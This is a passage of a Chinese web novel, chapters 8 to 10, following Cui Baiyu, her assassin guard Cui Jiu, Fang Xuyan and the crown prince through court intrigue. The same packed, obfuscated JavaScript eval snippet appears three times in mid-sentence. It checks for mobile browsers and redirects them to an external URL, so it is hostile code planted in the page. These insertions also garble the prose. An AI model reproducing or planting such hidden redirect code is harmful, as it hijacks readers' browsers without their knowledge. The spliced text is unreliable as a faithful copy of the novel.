鬼市之前培养了一批专门暗杀的朝廷官员的杀手,这些人以杀人为生,恶事做尽,虽然锦衣卫查抄了一次,但根本无济于事,这些人还是相当活跃,”方叙言不露声色地打量着崔九,蓦然间觉得他的眉眼很熟悉,但又说不出来具体像谁,“崔姑娘并不在官员的范畴,出现这个情况是因为雇主给的银两够多,但酬金越多也表示风险大,这次刺杀失败,自然也就证实了这一点。鬼市的幕后老板是个很精明的人,在有折损的情况下,她不会一意孤行。” 听他的语气,崔白玉愣了一下,“方大人,认识鬼市的幕后老板?” “不说这个了,”方叙言垂眸遮住了眼底的情绪,端起桌上的茶杯,抿了一口热茶,“先聊聊你这个侍卫,昨夜应该杀了不少人吧?” 崔白玉脸上的表情险些没绷住,轻眨了眨眼,“......不会要坐牢吧?” “先跟我们走一趟,”方叙言揉了揉眉心,站起身,“放心,只是寻常问话,若是没有问题,一定会还回来的,这期间我会派人在暗中保护你。” “这......”崔白玉一脸为难的看向崔九。 桃酥正巧打探消息回来,看方叙言脸上是控制不住的惊喜,“姑娘!” 她没成想方叙言这么主动,居然主动登门,在京城,可没有那个姑娘有这个待遇。 崔白玉没有理会桃酥,也跟着站起身,“方大人,他身上有伤——” 桃酥还没搞清楚状况,没过脑子的话脱口而出,“小侯爷,他被姑娘抽了鞭子,还在养伤呢!” 方叙言:“......” 崔白玉:“.......” 绝了,本来想着方叙言这种高门贵族会喜欢温婉贤淑的女子,打算投其所好,结果立了半天人设,她一句话全崩了。 屋里安静了一下,方叙言转头看向她,崔白玉把脸埋进手心,好似犯了头疼症。 桃酥意识到自己说错话,连忙改口,“小侯爷别误会,姑娘是轻轻抽得他!” 崔九:“......” 轻轻抽是什么鬼?崔白玉欲哭无泪,低下头寻找地缝。 方叙言面露尴尬,迅速移开了视线,轻轻咳了一声,艰难地开口,“崔姑娘,侍卫我就先带走了。” 话音未落,人已经转身离开了。 桃酥的手不觉就哆嗦了下,眼神呆滞地看向崔白玉,“奴婢说错话了吗?” 崔白玉眼前一黑,瘫坐在椅子上,无奈地说:“没事,是我心脏。” 桃酥一时有些凌乱,瞪直了眼睛,完全没听懂怎么回事。 崔白玉睁开眼,慢慢支起身子,“曹姑娘和太子那边有动静吗?” “太子退婚了!”桃酥就是听了这个消息才激动的,她没想到一时忘乎所以,好似坏了姑娘大事。 崔白玉目光微微一顿,道:“曹姑娘伤的很重?” “伤口在脸上,而且很深,郎中说一定会留疤,”桃酥抿了抿唇,“还有一件,奴婢刚才从门房路过,祁老夫人递来请帖邀姑娘去一趟将军府。” 8. 端倪 城北练兵场,微风习习。 告示栏刚贴上一张海捕文书,图中所绘之人是一位长相妖媚的女子。 练兵场旁围着很多看热闹的士兵,众人议论纷纷,听到身后脚步声响起,一哄而散。 方叙言路过告示栏,顿下了脚步,抬眸看了一眼,“大理寺送来的?” 士兵点了点头,恭敬道:“徐大人亲自送来的,刚走。” 大理寺卿曹兵奉命抓捕鬼市的幕后老板已经过去了很多年,奈何对方诡计多端,善于藏匿,几乎每次露面都换张人皮,极难抓捕。 这次出现又是一个崭新的面容,所以只得又换了一张新的海捕文书。 方叙言转了转手上的玉扳指,不置可否地笑了笑,侧身看向崔九,“昨夜崔姑娘遇袭,你作为侍卫就没有要说的?” 崔九没有回答,抬眸目光落在那张海捕文书。 方叙言道:“既然不愿答,那我换个问题,你这一身武功是从哪里来的?谁教的你杀人?” 崔九默然以对。 方叙言想要调查的事完全是私人恩怨,而且他现在没有任何证据证明他杀人,所以并不能有什么强制措施,可偏偏眼前这个人是个软硬不吃的主。 过了片刻,他道:“你和花枕是什么关系?” 崔九道:“花枕不在京城,昨夜那批杀手不是她派下来的。” 花枕是鬼市的幕后老板,两人对此都心照不宣,但也能说明崔九确实跟她有关联,方叙言收回思绪,问道:“何意?” 崔九道:“花枕派下来的人,至少不会连目标都伤不到。” 方叙言道:“你是说昨夜杀手都是冒名顶替。” 崔九不语。 方叙言也想明白了,“有人伪装成花枕的身份,在鬼市接悬赏令。” 如果真是这样,那刺杀崔白玉就能排除掉一部分人,至少这个人对鬼市根本不了解。 他继续说道:“所以那个传闻是真的,花枕被人打伤,现在正在南方疗养。” 崔九不愿再多说,转身离开。 “慢着,我还有一事要问,”方叙言想了想,指尖随意搭在旁边的武器架上,“崔姑娘,是不是还不知道你是杀手的身份?” 不知为何,崔白玉的名字从别人口中说来,就会变得格外刺耳,崔九脸色阴沉下来,冷声道:“知道如何,不知道又如何?” 方叙言对上那双漠然不带感情的眼神,忽然有些恍惚,“崔姑娘是个很好的人,现下他的兄长不在,你这个做侍卫的应将人照顾的更好。” 崔九:"......" 方叙言还想再开口再问些什么,忽然天策卫的队长跑过来躬身叫道:“方大人,崔姑娘去了祁府。” 崔九脸上没有一丝表情,目光却异常冰冷,带着沉重的压迫感。 队长不知发生了什么,只觉后背攀上一阵寒意,吓得汗毛倒竖。 半个时辰前。 崔白玉看到祁府递来的请柬,脸上的笑意瞬间消失的一干二净,“桃酥,我们和祁府走得近吗?” 她怎么不记得原主和祁家有联系。 桃酥也如丈二和尚摸不着头脑,脸上勉强挤出一点笑容,“姑娘,这没准是好事啊!祁家可是百年世家,世代簪缨,位高权重,连皇帝都得礼让三分,姑娘若是能结识她们,那在京城就能横着走了!” “横着走,我又不是螃蟹,”崔白玉叹了气,将请帖又仔细地看了一遍,“去帮我找一件素净的衣服,我们去一趟将军府。” 上品无寒门,下品无士族。 在这个时代,皇室有着至高无上的权利,掌控天下生杀大权,但大多时候都是士大夫掌控朝野,而且所有王朝迭代江山易主的时候,都有世家的影子,王与马,共天下,便是最好的印证。 如今祁家又出了一个将军......在王朝应该是如日中天,要是能和这些人攀上关系那可真就是八辈子修来的福分。 崔白玉默默点了点头。 桃酥想了想,忽然问道:“姑娘,崔九被带走了,我们还要他吗?” 底牌当然是越多越好,崔白玉展颜笑道:“方小侯爷的为人还是可以相信的。” 桃酥抿了抿唇,一脸八卦地凑到她面前,“所以,方小侯爷留给姑娘的印象还算不错,比太子还好?” 崔白玉挑起眉,“哦?” 桃酥抿嘴一笑,“要是太子殿下和方小侯爷同时掉到河里,姑娘会选谁?” 倒是会问,崔白玉眼尾向上,拢了点笑意,知道她的意思,所以买起关子,“这很难选啊,太子殿下身份尊贵,若是不救,一定会降罪的,可方小侯爷又是一个很关照我的人,我得好好琢磨琢磨。” 众所周知,桃酥是个急性子,没等上片刻,就急切说道:“姑娘可以嫁两个啊......不是,奴婢的意思是,姑娘可以在这两个之中选一个自己喜欢的嫁过去!” 她方才口中完全没有想到自己心意,这显然是不对的。 崔白玉捏了捏她的脸颊,笑道:“什么是喜欢?” “姑娘,你莫要寻我开心,都是已经十五岁了,婚嫁于女子而言乃是终身大事,万万不可马虎!”桃酥的表情极为认真且坚定。 一个时辰后,崔白玉缓步走下马车,仰头望着将军府的真金字匾,心中无限感概。 这大宅子巍然大观,令人心生敬畏。 桃酥上前递上请帖,丫鬟打开看了一眼,引着二人往院里走。 不知过了多久,崔白玉走过长廊,到了月洞门,只见后面曲幽小径上芙蓉满枝,花色缤纷,芳姿妩媚,耀眼炫目。 之后再走不到一刻钟,崔白玉就看见祁老夫人正坐在水榭跟几位妇人说话。 崔白玉走到里面,手心冒出不少热汗,惶恐地行了一礼。 其实,来的路上她就打退堂鼓了,祁家人不好惹,也不熟悉,她拿什么讨好人家都不知道,又怎么攀关系? 玲珑剔透的心肝在这装糊涂,祁老太太笑了笑,让身旁的老妇人王玥先带着她四处逛逛,放松一下心情。 王玥是祁老太太的心腹,那日在校场的马厩动手脚的就是她。 崔白玉微微点了一下头,跟着离开。 两人走远了。 祁夫人刚才将她仔细地瞧了一遍,觉得是个美人胚子,但京城的美人不在少数,大家各有各的美,她还是看不出老夫人喜欢这人哪一点,“母亲怎么还让人离开了,不是说要问话吗?” 祁老太太直了直身子,笑道:“现在问她,不见得有实话,随她去吧。” 祁夫人叹了口气,无奈道:“您总是不说,还得我以为您要给自己物色孙媳呢。” “孙媳?”祁老太太看她一脸忧愁的模样笑了好半天,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142955|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然玄英也快到年纪了,但她......老身是另有安排,玄英的婚事你自己琢磨吧。” 不是孙媳,那还能是什么?祁夫人面上露出几分讶色,道:“母亲,您就不能说说?” 祁老太太一脸深意地看着她,明摆着让她猜。 能看出来,婆媳两人的关系十分要好。 两人说话间,一位丫鬟快步走来,“老夫人,夫人,方小侯爷来了。” 祁老太太看向儿媳,微微一笑,“应该不是冲咱们来的。” 祁夫人惊奇道:“是崔白玉。” 一炷香的功夫,崔白玉屁股好不容易坐上石墩又被叫去了正厅。 方叙言正襟危坐,看崔白玉进屋,朝着她微微点了一下头。 崔白玉还礼,亦是点了一下头。 祁老太太面色肃然,眉头一皱,忽然问道:“行刺的人可查清楚了?” 方叙言想了想,答道:“目前还在查。” “天子脚下行刺,这些人真是好大的胆子。”祁老太太微合双目,从方才的只言片语中便联想到了背后之人。 确实,崔白玉不是朝廷官员,也不是皇亲国戚,但她是崔琅华的妹妹,倘若昨晚横死街头,天子一定会严查。可这些年天子过问的案子,罪犯轻则流放,重则抄家,若是知道事情的轻重,断不会在京城动手,还漏洞百出。 崔白玉还没弄清怎么回事站在正厅中央,大气儿都不敢出。 祁老太太开口道:“白玉,发生这么大事,怎么也不说一声?” 崔白玉冷不丁被叫名字还有些不习惯,“回老夫人,事情已经过去了,我没受什么伤,就没放在心上,而且,我身边有个的侍卫很厉害,他可以保护我。” 祁老太太静静地望着她。 这个时候还想着侍卫?方叙言知道崔白玉这是在点他,眉眼含着笑,“侍卫没有问题,现在就可以送回去。” 崔白玉偷摸的看了方叙言一眼,默默点了一下头。 祁老太太沉吟片刻,“白玉,若是需要帮助,可以来将军府找老身。” 崔白玉闻言,眼前一亮,“多谢老夫人!” 到底是个小姑娘,遇到这么危险的事肯定会害怕,祁老太太听了她的话,心里暗自叹息,“今日天色不早了,老身就不留你了。” 话落,方叙言缓缓地站起身来,拱手行了一礼,“今日叨扰了,改日晚辈再来拜访。” 祁老夫人点点头。 片刻之后,两人一前一后离开正厅,崔白玉一抬头,发现崔九站在旁边,看了她一眼,眼神莫辨。 方叙言站在她身后,温声道:“姑娘若是抓到幕后之人,打算如何处置?” 崔白玉面上露出几分讶色,眸光闪动。 她完全没想过...... 方叙言看出她有所迟疑,心中蓦地一跳,皱眉道:“你想就此揭过?” 崔白玉缄默不言。 两人一同走过长廊,崔九跟在后面,然而待他们正要走出大门时,迎面碰见一个人。 崔白玉一愣,听到方叙言称呼他一声将军,才明白他的身份。 是祁将军祁晏临。 四周一片安静,祁晏临“嗯”了一声,看了一眼方叙言,目光又转向崔白玉。 只是下一刻,不知道看到了什么,令人望而生畏的面容变得惊疑又难以置信。 9. 威胁 方叙言顺着祁晏临的视线看向崔九,出声提醒,“大将军。” 大抵是视线太过凌厉,崔白玉生出一身冷汗,下意识往后退了一步,撞在崔九的身上。 崔九扶住她的手臂,低声道:“走了。” 崔白玉回神,指甲掐进掌心里,朝着祁晏临行了一声礼,一步一步走下台阶,并且默默地将领口捏紧。 祁晏临的眼神寒光收敛,视线紧紧跟随,希望心中困惑能够解开。 然而下一刻,崔九神情漠然地跟在她身后。 两人存在体型差,崔九比崔白玉高一个头。 他将人挡得严实,祁晏临勉强只能看到被风吹起的裙摆。 回到马车,崔白玉忽然感到骨髓里透出的虚脱,揉了揉抽疼的太阳穴,靠在软枕上,心里诸般心思翻腾,彻底陷入沉思。 今日之事,无论是方叙言还是祁老太太,她都没看懂。 祁晏临审视的目光就更不懂了。 她招惹过祁家人吗? 马车缓缓前行,过了半晌,崔白玉听见外面的议论声,突然意识到了什么,掀开车帘,诧异道:“方大人?” 方叙言道:“顺路,送你一程。” “原来是这样,辛苦方大人了。”崔白玉放下帘子,忽然想到了什么,又掀开了一角,“方大人,我能问你一件事吗?” 方叙言缓缓收紧缰绳,与马车车窗并行,“你说。” 崔白玉想了想,忽然抬起头问道:“大人,为何要帮我查这个案子?” 方叙言不置可否地笑了笑,“我与你兄长有些交情,他写信委托我照顾好你。” 崔白玉一愣,心里一时说不上是什么滋味。 说实话,她很羡慕原身有一个疼爱她的兄长,被亲人守护的感觉,她从未体验过。 崔白玉默默放下帘子,又靠了回去。 不知睡了多久,马车到崔府门口,方叙言已经离开,崔白玉睡得七荤八素,门槛都险些没迈过去。 桃酥正在和门房说话,看见崔白玉一个踉跄吓了一跳,“姑娘,你是不是又发热了?” 一阵风吹来,地上的花瓣轻轻飘了起来。 崔白玉打了一个喷嚏,人瞬间精神不少,不经意间瞥了墙角一眼,轻声开口:“你先别动。” 崔九目不转睛地盯着她,果真没动。 崔白玉放轻脚步缓缓走近,随后在他脚边蹲下身,伸手拨开那几片抖动的树叶,看见下面有一只瘦弱的小黑猫。 这小东西走路还不稳当,应该是刚满月,浑身都是泥,猫头上还沾不少桃花瓣。 崔白玉拿帕子给它盖上,看了好一会儿,把猫小心翼翼地捧在手心,站起身来,许是太高兴,英文脱口而出,“这是哪里来的小可爱?我可以养你吗?” 声音很清爽,笑声也跟着入他的耳间,崔九听得一清二楚,目光始终盯着她的脸。 说来也奇怪,自从穿越过来,发生了好多事,但崔白玉觉得开心的就是遇见这只猫。 而且,在这之前她一直对小动物都无感。 小黑猫眼睛是黄铜色,晶莹剔透如宝石一般,而且身上完全没有其他毛色。 崔白玉把手里的团扇塞给崔九,拿帕子给它擦了擦眼睛。 桃酥哪曾想崔白玉这么大的一个人,稍没看住就闯祸,“姑娘,它身上都是泥,很脏的!” 小黑猫嘶哑地叫了几声,蹭着她的手,崔白玉的手腕细白,腕骨凸出,但那只小黑猫比她的手腕还细些,应该是营养不良,“桃酥,我要养这只猫!” “姑娘,你不是最讨厌猫吗?”桃酥赶紧把猫接过,检查了一下她的手腕,确定没有受伤,这才松了口气。 崔白玉从崔九手中拿回扇子道了声谢,“小猫咪是不是要喝羊奶?” 桃酥点了点头,“奴婢一会儿去准备,姑娘还是先进屋休息一下吧。” 崔白玉身上有好几处淤青都没涂药,跑了半天这会儿也知道疼了。 到了晚间,雷雨将至,闪电和雷声相继出现,京城陷入黑暗。 长廊四下无人,崔白玉提着一个灯笼,听着呼啸的风声,心里打了个机灵,频频回头察看。 方才屋里太闷,她就将窗户推开一道缝,谁知一个不注意,小黑猫居然跑出去了。 外面马上就要下雨了,她不放心出来找找,结果这个时辰大家都去休息了,院子空荡荡的,总感觉有人在盯着你,跟着你。 崔白玉喵喵的叫了两声,把院里的角落都找了一遍,也没看见它的踪影。 莫不是跑出了院子? 崔白玉迈着小步往前走,忽然背后传来了窸窸窣窣的声音,一阵战栗感迅速地爬上了脊柱。 就在马上就要推开门的时候,一声震耳欲聋的巨响,崔白玉猛然回头,看到崔九那张俊美又森冷的脸,差点当场去世。 崔九毫不留情地捏着小黑猫的后颈,拎到崔白玉面前,“看好它。” 洗过澡的小黑猫肚子喂圆鼓鼓的,此时看着她,一脸可怜兮兮的好似受了委屈。 崔白玉抬手动作不由自主地微微一顿,接过小黑猫抱在怀里,“小白跑到你那里去了?” 崔九没有回答,略一环顾四周,一只骨节分明的手探来,拿走她手里的灯笼,“回去。” “看来它很喜欢你,”不得不承认,有崔九在身边,崔白玉已经开始有安全感,她加快步伐,努力拉近两人的距离。 但他的步子太大了,崔白玉抱着小白,意外捏到尖锐的指甲嘶了一声,冒出了血珠。 崔九并未放缓步子,只是简单粗暴的夺走了她怀里的小白。 痛失小猫咪的崔白玉不敢吭声,只有默默看着的份儿。 随后,两人刚进了屋子,大雨倾盆而下。 崔白玉转身叫住了崔九,“雨太大了,你还是等雨停再走吧。” 崔九那张脸上依旧没什么表情。 崔白玉看着窗前的一点亮光,又点了几个蜡烛,在屋里找了一圈,目光转向了他,“我不记得雨伞放哪了,还是待一会儿吧……” 崔九停下脚步,低头看着脚边的小白。 崔白玉觉得两人之间的气氛还算不错,可以趁着这个机会聊一聊,“其实,你现在对我也没有太大敌意对吧?” 崔九没说话,只有小白喵了几声,好似在回应她。 崔白玉以为计划又要泡汤,见他坐下来,咂摸了会儿其中深意,然后表现出一脸真挚的神情,“我跟你说一个秘密吧,其实那日醒来之后我就失忆了,只是隐约记得之前发生的事……我知道,我做了许多错事,所以我希望有个赎罪的机会。” 既定事实已经存在,如果有人跟她说这些,她一定毫不犹豫的大嘴巴子抽上去。 早干嘛了?坏事做尽了认错有什么用? 崔九开口道:“失忆不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142956|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会改变一个人的行为习惯。” 崔白玉“唔”了一声,“哪万一是脑子烧坏了呢?或者意外得了失心疯……” 崔九抬眸看她,琥珀色的眸子幽冷如霜,像是一块千年难化的冰。 崔白玉下意识地咽了口唾沫。 似乎明白一件事,崔九讨厌的别人骗他。 可原著里苏有枝也对他说过谎话,没见他怎么样,为什么换成她就这么大的杀意? 这种特权只对女主放开吗? 崔白玉屁股刚沾到椅子就默默移开,试图和他拉开距离,弱弱的说了一句,“外面雨小了,要不你先回去吧……” 屋外电闪雷鸣,大雨如注。 崔九站起身一言不发朝她逼近。 崔白玉察觉到异常,大脑里“嗡”的一声响,脊椎生出一丝毛骨悚然。 她冰凉的嘴唇动了动,努力维持着面上的镇静,直到那张脸近在咫尺,呼吸相闻。 刀尖抵住了她的脊背。 这一刻,仿佛时间都静止了。 崔九多年习武,手臂上的青筋与肌肉俱是线条分明地外突,毫不怜惜的将崔白玉衣服后领扯下去,露出一部分雪白的后背。 崔白玉浑身发抖,额间亦覆上了一层冷汗,鼻尖几乎碰到了崔九的下巴。 然而两人之间没有任何暧昧的气氛,崔九垂下视线,确认她后背的胎记还在,一字一句清楚地说:“你到底是谁?” 这把匕首能够完全把她刺穿。 崔白玉咬紧牙关,勉强镇定下来,抬起头。 崔九一动不动凝视她的眼睛,似乎想要控制住什么,把刀刃移到她的颈侧。 崔白玉感到巨大的危机感,瞬间瘫倒在地上,狼狈不堪,“我……我只是喜欢你而已。” 气息有些颤栗不稳,显然是吓坏了。 可尽管如此,嘴里还是没有实话。 崔九不屑一顾,居高临下地看着她,神情漠然。 他从不相信,这世上会有人喜欢他,这世上的人只会恨他。 她到底是不是崔白玉,这都无关紧要,他只是想要一个答案。 为什么她的存在会让他狂躁不安。 转眼间,刀刃又近了几分,崔白玉脸色苍白,万念俱灰。 她知道自己今晚在劫难逃,心中升起一丝冲动,横竖都是一死,不如赌一局大的。 或许答案对他来说也不重要,崔九想要的根本不是这些。 崔白玉气息微沉,努力抑制恐惧的情绪,缓缓伸出手,“我真的是喜欢你,所以才忍不住想要靠近,我只是嫉妒,嫉妒你为什么会对苏有枝特别温柔,对我却冷漠疏离,别杀我,求你了,我只是想和你亲近些……” 崔九面容上没有任何表情,也没有挥刀而下,似乎在等她下一步行动。 崔白玉因为害怕而脚软麻木,起身时差点再摔一次,不过,两人的距离只差一步,崔白玉站起身就抱住了他,而且将整个人的重量都压在他身上。 但愿这次发疯能换回一条小命。 崔九没有挣脱,抬手捏住她的后颈,逼迫她仰起头,审视片刻,冷声问道:“喜欢我?” 崔白玉忽略对方的嘲讽和不情愿,眼泪顺着鼻尖流下,“……我想嫁给你。” 崔九沉默一瞬,觉得这话可笑极了。 不过只是一个惹人发笑的蝼蚁,等没了兴趣,再杀她也不迟,他想。 10. 波折 眼下这个情况,有人暗杀不说,太子赵呈还有崔九也是隐患,这些人是她完全应对不了,祁家更是捉摸不透。 好死不如赖活着,她哪怕是在山里种地,也比现在这个情况好过千倍万倍。 崔白玉一夜未眠,在屋里找到了原身的小金库,发现里面有不少珠宝首饰,其中还有苏有枝的店铺和地契。 当然,店铺和地契是万万不能拿的,她可不能再增加罪状了,而且这东西不能自己经营,转手出去又容易暴露行踪。 所以她准备带走的东西只有三件朴实无华的换洗衣物,一个装满碎银的荷包,外加一只可爱的小猫咪。 而后还有一个最关键的东西。 桃酥说过,京城位于大夏的北部,近些年来北疆一直有战事,既然逃命必是要往南走。 只要再找到一张地图就可以离开了。 不过,她在京城举目无亲,寻到一张地图对她亦是件难事,所以她想让方叙言帮忙,或者偷偷去崔琅华的书房。 崔白玉手撑着下巴,事情想得差不多了,捏了捏小白的爪子,起身去梳洗。 今日的行动只有她一人。 昨天下午,桃酥收到了一封请柬,抚养她长大姐姐要嫁到远处,这个时代的交通不便,嫁入夫家的女子,分开后可能一辈子都看不见了,崔白玉见她哭得厉害,索性给她放了一个月的假,让她们姐妹团聚。 没了桃酥,崔白玉不再院里的下人有任何交流,收拾好就一个人出门了,至于那个所谓的侍卫自然也没带。 她不想和这里的人产生不必要的联系。 人走之后,院里的下人就开始议论起来,崔白玉不仅破天荒起了一个大早,还走后门,这对他们而言,就是一件值得讨论的大事。 “金香,你确定二姑娘方才离开了院子?” “我亲眼所见,这还能有假?” “这二姑娘可真奇怪,好端端的不走正门,偷偷摸摸作甚?” “心虚呗,肯定是私会情郎,怕被人看见!” 金香特意带着一众人走过崔九的院子,好似不经意间停下脚步,小声说道:“听你们的意思,咱们二姑娘难不成真的和太子殿下有私情?” “金香你可别在说了,这可是天家的事议论不得。” “可我觉得二姑奶喜欢的是方小侯爷,他昨天可是亲自将人送回来的,两人在门口说了好一会儿话呢!” “你可别乱讲,小侯爷洁身自好,才不是这样的人!” 金香起了一个话头便没再说话,眼神一直留意着崔九的院子。 其实,她想要试探的是崔九对崔白玉的感情,赵呈和方叙言都是捕风捉影的事,唯有崔九,两人确确实实在一间屋子独处,尤其是昨夜,崔九是从冒着大雨从她房间走出来。 三更半夜,孤男寡女,这两人没事才有鬼! 金香慢慢收回视线,不动声色地想:倘若这次能够找到崔九的软肋,那她就可以回宫交差了。 练兵场不远处远处烟尘滚滚,一队队骑驾护从策马而过。 崔白玉在门口站了一个时辰腿都酸了。 可没办法,她来得不巧,今日方叙言出城办事,要想见到他只能在这等着,具体等多长时间,还尚未可知。 门口的士兵上下打量她一番,只当是不懂事的小姑娘,将人驱赶到了旁处,“军营重地,任何人不得靠近,等人也不行!” 敢情刚才夸了他那么半天都白夸了,崔白玉眉心微微拧起,拎着裙子去了一公里外的茶水摊。 日头缓缓滑落山头,老汉躺在一块草席上,听见动静支起头上的斗笠瞧了一眼,“又是来找方小侯爷的吧?” 崔白玉点了一下头,拿帕子擦了擦尘土,乖巧地坐在长凳上。 天色不早了,老汉好心奉劝了一句,“今日等不到的,快回去吧。” 崔白玉问道:“为何?” “今日是方小侯爷恩师的忌日,每年的今天他都会去凤凰山祭拜,”老汉坐起身,长长叹了口气,“人死了快五年了,凶手到现在都没抓住,怎么可能安息?” 崔白玉一愣,努力回忆原著的剧情,“方小侯爷的恩师是黄观之?” “是啊,他是黄老最得意的弟子,”老汉揉着酸麻的小腿,神情十分惋惜,“一代大儒惨死在画舫,这事当时闹得沸沸扬扬的,京城里的人都知道。” 崔白玉上前帮老汉站起身,轻声问道:“您能说说当时是怎么回事吗?” 茶水摊摆了二十多年,来这里偷看方叙言的姑娘每日都有,眼前这个是最稀奇的,老汉偏过头仔细地看了她一眼,道:“案情的细节我也是道听途说,不过有一件事可以确定,黄老先生死在了一位女子的房间,这件事在京城迅速流传,众说纷纭,黄老的名声一落千丈。” 活着的时候万人敬仰,死后却败了名声。 崔白玉注意到老汉手上布满了细小的伤疤和粗茧,看起来极为可怖,藏在袖中的手用力攥了攥,“那黄老的死因是什么?” 正说话间,天空下起蒙蒙细雨,老汉四下看了看,笑道:“你一个小姑娘问这些事做什么?老朽奉劝你一句,这件事一旦陷进去就再也无法抽身了,你啊,听一耳朵就行了。” 崔白玉听着这话有点奇怪,但心里终归是有些遗憾的。 老汉穿戴好蓑衣和斗笠杵着拐杖往山下走。 崔白玉抬头望着军营的大门口,无可奈何地叹了口气。 雨越下越大,她又没带伞,这次回去怕是得淋成落汤鸡了。 这般想着,忽然身后马蹄声响。 赵呈掀开帘子,看见崔白玉孤零零地坐在桌子旁,手边只有一个残缺的破碗,不知道的以为沦落成乞丐了。 “上来。” 崔白玉听到那声三分不屑七分凉薄的语气就猜到了马车上的人。 她今年是犯了太岁? 方叙言没等到就算了,怎么还遇到仇家,她努力挤出一丝笑容,提着裙子钻进马车,坐在角落。 车身高大严密,内部更是极尽奢华,完全可以障帷设几,赵呈懒洋洋地端起手边的茶盏,打量着人,淡淡说了一句:“你来这里做什么?” 崔白玉自知骗不了他,如实道:“民女是来找方小侯爷。” 赵呈嗯了一声,“找他做什么?” 崔白玉道:“民女担心兄长的安危想打听一下他的消息。” 赵呈嗤笑一声,不以为意,“不过是出个差,能出什么事?” 苏有枝出逃和遇刺的事情他还不知道,崔白玉心中松了口气,低头整理衣物。 赵呈视线落在她身上,微微眯起眼。 方才跑过来身上淋了雨水,浅色的衣裙贴在身上,身段展露无遗,尤其细白的脖颈上复着一层薄汗,尤为惹眼。 崔白玉抬起头与他的目光撞上后,并未表现的惊慌失措。 怎么说呢,她之前最喜欢穿的是吊带短裤,现在显露出来皮肤于她而言毫无负担。 赵呈倒是对她的反应有些意外,缓缓勾起唇角,“放心吧,孤对你这种恶毒的女人不感兴趣。” 崔白玉:“……” 她需要跪下来谢恩吗? 两人一时无话,赵呈看得意兴阑珊,拿起手边的披风给自己盖上,忽然问道:“你喜欢孤什么?” 崔白玉没反应过来,睫毛颤了一下。 “当初你下药爬孤的床,孤可是看在你兄长的面子放你一马,”赵呈想起自己亲眼看见她在屋里下药的场景忍不住嘲笑,“孤还是头一次见到你这么蠢的女人,若换做旁人孤可能就信了,可苏有枝对孤避之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142957|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如蛇蝎,断然不会主动邀约,你这脑子到底是怎么长的?” 确实,抛开他口中的原因,还有一个就是苏有枝已经嫁为人妇,私下约见在一间偏僻的厢房,拿脚趾头想都觉得可疑。 崔白玉目光流转,用余光小心翼翼地瞥了一眼他一眼。 她坐在角落里,腿脚伸不开已经开始发麻了。 赵呈单手撑在脸侧,神情慵懒,语气却带着几分不悦,“你还没回答孤的问题。” 崔白玉低下头,“太子殿下为人宽厚仁慈,随性洒脱,民女觉得这样的殿下很耀眼……” “口不对心,你喜欢的是孤的身份才对。”赵呈俯下身拿折扇挑起她的下巴,声音带着迫人的寒意,“如果孤不是太子,你还会喜欢孤吗?” 崔白玉猝不及防地就对上了一双凉凉的黑眼睛,呼吸不可控制地微微一滞,“……殿下说笑了,您一直都是尊贵的太子。” 赵呈望着她的眼睛,“如果孤是假的呢?” 倘若他只是一个人的替身。 两人的距离稍近了些,崔白玉闻到了淡淡的酒香,停顿了一下,眸中闪着细若星辰的微光,“真的假不了,假的真不了,可若是换成人,谁都是独一无二的,太子殿下就算没了这个身份,亦是值得被人喜欢。” 话落,赵呈心口猛然有种被钝刀子割磨的痛感,不由得将折扇往上挑了几寸,审视着眼前这个人,原本薄情风流的眸光变得异常凛冽。 然而,崔白玉也没有动摇。 那些话不是作假,同时也是对自己说的。 她不是崔白玉,不会活成任何一个人的替身。 赵呈收回折扇,好似听到什么天大的笑话,猛然大笑起来,过了好一会儿,缓和神色,“孤以前怎么不知道你这么有趣?” 崔白玉已经汗流浃背,有一瞬间觉得他眉目间满是苍凉,融进了数不清的愁绪。 赵呈见她盯着自己看,眼中闪过一丝笑意,紧接着,话锋一转,“孤让你办的事如何了?” 还是那一副命令的口吻。 崔白玉低下头,“民女已经有计划了,明日就去曹府。” 说谎就把脸藏起来,赵呈轻笑一声,“好啊,孤等着你的好消息。” 崔白玉咽了咽口水,觉得他这会儿心情不错,斟酌片刻,她言辞殷切道:“那尊贵的太子殿下,民女能不能先……预支一点好处。” 赵呈打量着她的一举一动,淡淡开口道:“你这顺杆爬的速度是不是太快了?” 崔白玉:“……” 赵呈道:“想要什么?” 崔白玉眨了眨眼睛,“……一张大夏的地图。” 赵呈道:“想离开这?” 崔白玉默默点头。 赵呈手指有一搭没一搭地敲在书案上,移开了目光,没再看她,也没追问缘由。 过了须臾,马车渐渐停下来,坐在外面的小太监提醒道:“殿下,崔府到了。” 崔白玉感激道:“今日多谢太子殿下施恩。” 